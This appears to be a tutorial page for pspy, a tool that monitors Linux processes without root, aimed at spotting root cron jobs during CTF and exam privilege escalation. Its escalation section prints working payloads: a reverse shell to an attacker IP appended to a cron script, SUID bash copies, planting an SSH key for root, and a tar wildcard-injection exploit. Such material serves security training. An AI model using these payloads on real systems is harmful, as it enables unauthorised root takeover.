pspy
Unprivileged Linux process monitor that catches cron jobs, scheduled tasks, and hidden root processes without needing root access. Uses inotify to watch the filesystem instead of reading /proc.
What is it?
pspy is a command-line tool that monitors Linux processes without root privileges. On a standard Linux system, a low-privilege user can't see which cron jobs are scheduled for other users, crontab -l only shows your own. The system-wide crontab at /etc/crontab and /etc/cron.d/ is readable, but user-specific crontabs in /var/spool/cron/crontabs/ aren't.
pspy solves this by combining two techniques:
- Scanning /proc: repeatedly reads
/procto detect new processes as they appear, even short-lived ones that vanish beforepswould catch them - inotify watches: places filesystem watches on directories like
/tmp,/usr,/etc, and/hometo detect when files are accessed or modified by scheduled tasks
The result: you see every process that starts on the system, what command was run, which user ran it (by UID), and when. This exposes cron jobs, systemd timers, and any automated scripts that run periodically, even if you have no way to read their configuration.
If root runs a cron job that executes a script you can write to, that's game over. pspy is how you discover that cron job exists when cat /etc/crontab shows nothing interesting and linPEAS didn't flag it. Many CTF and exam boxes rely on hidden cron jobs as the privesc path.
Run this first
Get the binary onto the target and run it with no arguments, then watch and wait.
# On your machine $ python3 -m http.server 8080 # On the target $ wget http://10.10.14.5:8080/pspy64 -O /tmp/pspy64 $ chmod +x /tmp/pspy64 $ /tmp/pspy64
pspy64is for 64-bit targets. Running the wrong architecture binary shows processes incorrectly, so check withuname -mfirst.
Let it run for at least 5 to 10 minutes, since many cron jobs fire every 15 or 30 minutes. Watch for UID=0 lines, which are processes running as root, and check whether the script they run (or anything it sources) sits in a directory you can write to.
When do you use it?
Run pspy after you've landed a low-privilege shell on a Linux target and you're looking for privilege escalation paths. Specifically:
- linPEAS showed nothing obvious: no SUID, no writable services, no kernel exploits. The box might rely on a hidden cron job
- You suspect automated tasks: files appear or change in
/tmpperiodically, logs rotate on a schedule, or there are signs of maintenance scripts - You found a writable script but don't know if anything executes it, pspy confirms whether it gets called and by whom
- You want to see what services do at startup: after a reboot, pspy shows the full boot sequence and what gets launched
- Writable files in
/opt,/usr/local/bin, or/home/*/scriptsthat look like they're designed to be run automatically - Bash scripts with
#!/bin/bashshebangs in odd places that you can modify - Files appearing or disappearing in
/tmpon a regular interval - Log entries that mention scheduled cleanup or backup operations
- Wildcard characters (
*) in scripts that might be exploitable via tar/rsync wildcard injection
Getting it on the target
pspy is a static binary, no dependencies, no installation. Download the right version and transfer it.
Choose the right binary
| Binary | Architecture | When to use |
|---|---|---|
pspy64 | 64-bit (amd64) | Most modern Linux systems: check with uname -m (x86_64) |
pspy32 | 32-bit (i386) | Older systems or 32-bit installs, uname -m shows i686/i386 |
pspy64s | 64-bit (small) | When disk space is tight, smaller binary, fewer features |
pspy32s | 32-bit (small) | 32-bit with limited space |
Transfer to target
# Start a web server in the directory with pspy $ cd /opt/tools $ python3 -m http.server 8080 # Or use a simple netcat transfer $ nc -lvnp 9001 < pspy64
# Download via wget (most common) $ cd /tmp $ wget http://10.10.14.5:8080/pspy64 $ chmod +x pspy64 # Or via curl $ curl http://10.10.14.5:8080/pspy64 -o pspy64 && chmod +x pspy64
Running pspy
# Run with default settings (watches /proc + common directories) $ ./pspy64 # Watch specific directories for filesystem events $ ./pspy64 -d /tmp -d /opt -d /home # Only show processes (no filesystem events), cleaner output $ ./pspy64 -f # Increase /proc scan speed (every 100ms instead of default 1000ms) $ ./pspy64 -i 100 # Combine: fast scanning, no file events, watch /opt specifically $ ./pspy64 -i 100 -f -d /opt
If you're leaving pspy running for a while: ./pspy64 | tee /tmp/pspy_output.txt. This lets you scroll through the log after stopping pspy with Ctrl+C, and you can grep for specific patterns.
Reading the output
pspy output has a specific format. Understanding it is critical:
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d ██▓███ ██████ ██▓███ ▓██ ██▓ ▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒ ▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░ ▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░ ▒██▒ ░ ▒▒██████▒░▒██▒ ░ ░ ░ ██▒▓░ ▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒ ░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░ ░░ ░ ░ ░ ░░ ▒ ▒ ░░ ░ ░ ░ Config: Printing events (colored=true): processes=true | file-system-events=true Draining file system events due to startup... done 2024/01/15 14:00:01 | CMD: UID=0 PID=1234 | /usr/sbin/CRON -f <-- cron daemon (root) 2024/01/15 14:00:01 | CMD: UID=0 PID=1235 | /bin/sh -c /opt/cleanup.sh<-- root runs cleanup.sh! 2024/01/15 14:00:01 | CMD: UID=0 PID=1236 | /bin/bash /opt/cleanup.sh <-- the actual script 2024/01/15 14:00:01 | CMD: UID=0 PID=1237 | rm -rf /tmp/*.bak 2024/01/15 14:00:01 | CMD: UID=1001 PID=1240 | /bin/bash <-- UID 1001 = normal user 2024/01/15 14:05:01 | CMD: UID=0 PID=1250 | /usr/sbin/CRON -f 2024/01/15 14:05:01 | CMD: UID=0 PID=1251 | /bin/sh -c /opt/backup.sh <-- another root cron job!
Key fields
| Field | Meaning | What to look for |
|---|---|---|
| Timestamp | When the process started | Regular intervals = cron job. Note the timing pattern |
| UID=0 | Process run as root | Any command root runs that touches files you control = privesc |
| UID=1000+ | Normal user process | Your own commands: ignore these unless debugging |
| PID | Process ID | Sequential PIDs appearing at the same time = same cron trigger |
| CMD | The full command line | Look for script paths, arguments, credentials passed on command line |
- UID=0: root. This is what you care about most
- UID=33: www-data (web server)
- UID=65534: nobody
- UID=1000-65533: regular users. Check
/etc/passwdto map UID to username
Catching cron jobs
The most common privesc pspy reveals is a root cron job that executes a file you can modify. Here's how to identify and exploit it:
Step 1: Run pspy and wait
Cron jobs run at fixed intervals. Most run every 1, 5, or 15 minutes. Let pspy run for at least 5 minutes to catch the cycle. Pay attention to processes where UID=0 and the command references a file path.
Step 2: Check if you can write to the target
# Saw root running /opt/cleanup.sh, can you write to it? $ ls -la /opt/cleanup.sh -rwxrwxrwx 1 root root 142 Jan 10 08:00 /opt/cleanup.sh # ^^^ world-writable! Anyone can modify this script # Or check if you own the directory $ ls -la /opt/ drwxr-xr-x 2 www-data www-data 4096 Jan 10 /opt/scripts/ # If you're www-data, you can add/modify files in this directory
Step 3: Inject your payload
# Option A: Add a reverse shell to the script $ echo 'bash -i >& /dev/tcp/10.10.14.5/9001 0>&1' >> /opt/cleanup.sh # Option B: Copy bash and set SUID $ echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /opt/cleanup.sh # Option C: Add your SSH key to root's authorized_keys $ echo 'echo "ssh-rsa AAAA..." >> /root/.ssh/authorized_keys' >> /opt/cleanup.sh # Wait for the cron job to fire, then: $ /tmp/rootbash -p # if you used Option B rootbash-5.1# whoami root
Timing analysis
When you see a root process, note the timestamp. Watch for it to appear again. The interval tells you the cron schedule:
| Interval | Likely cron schedule | How long to wait |
|---|---|---|
| Every 1 minute | * * * * * | 2 minutes confirms it |
| Every 5 minutes | */5 * * * * | 10 minutes to be sure |
| Every 15 minutes | */15 * * * * | 30 minutes |
| On the hour | 0 * * * * | Wait for the next hour mark |
If you see a root process at 14:00:01, and again at 14:05:01, you know it runs every 5 minutes. After injecting your payload, the maximum wait for execution is 5 minutes. If you're writing a SUID bash payload, you can start checking for /tmp/rootbash within that window.
What to look for
- Root executing user-writable scripts:
UID=0 | /bin/bash /home/user/backup.sh: if you can write to that script, you own root - Wildcard usage in root commands:
UID=0 | tar czf /backup/files.tar.gz *: wildcard injection via tar checkpoint exploit - Credentials on the command line:
UID=0 | mysql -u admin -pSecretPass123: passwords visible in process arguments - Root running scripts from writable directories: Check the directory permissions, not just the file
- Scripts that call other scripts:
UID=0 | /opt/run.shwhere run.sh doessource /tmp/config.sh: you may be able to write the sourced file - PATH-based exploitation: If root runs
backupwithout a full path and you control a directory in the PATH, create a maliciousbackupbinary
Wildcard injection example
# pspy shows: UID=0 | /bin/sh -c cd /var/www/html && tar czf /backup/web.tar.gz * # The * expands filenames as arguments to tar # Create the checkpoint exploit files $ cd /var/www/html $ echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' > shell.sh $ echo "" > "--checkpoint=1" $ echo "" > "--checkpoint-action=exec=sh shell.sh" # When cron fires: tar sees --checkpoint=1 and --checkpoint-action=exec=sh shell.sh as flags # Wait for cron, then: $ /tmp/rootbash -p rootbash-5.1# id uid=1001(www-data) gid=1001(www-data) euid=0(root) groups=1001(www-data)
Common mistakes
- Not waiting long enough: Some cron jobs run every 15 or 30 minutes. If you close pspy after 2 minutes, you'll miss them. Let it run for at least 5-10 minutes
- Using the wrong architecture: Running pspy32 on a 64-bit system won't show processes correctly. Check
uname -morfile /bin/lsfirst - Forgetting to check directory permissions: The script itself might be root-owned, but if the directory is writable, you can delete the file and replace it
- Overlooking library/sourced file hijacking: A root cron script might source a config file or load a Python library from a writable location. Don't just look at the main script, trace what it imports
- Too much noise: Use
-fto disable filesystem events if the output is overwhelming. Focus onUID=0lines - Leaving pspy running forever: pspy uses CPU. On resource-constrained boxes, running it for hours can raise alerts or affect performance. Get your data and stop it
Check yourself
Answer each question out loud or on paper first, then open it. Retrieving the answer teaches you more than rereading the page.
You run pspy for 2 minutes and see nothing interesting. What is the likely mistake?
Which lines in the output matter most?
A root cron script is itself read-only, but the finding still leads somewhere. What should you check next?
A root script runs without obvious issues. What else is worth tracing?
Why run pspy64 instead of pspy32 on most modern targets?
uname -m or file /bin/ls first.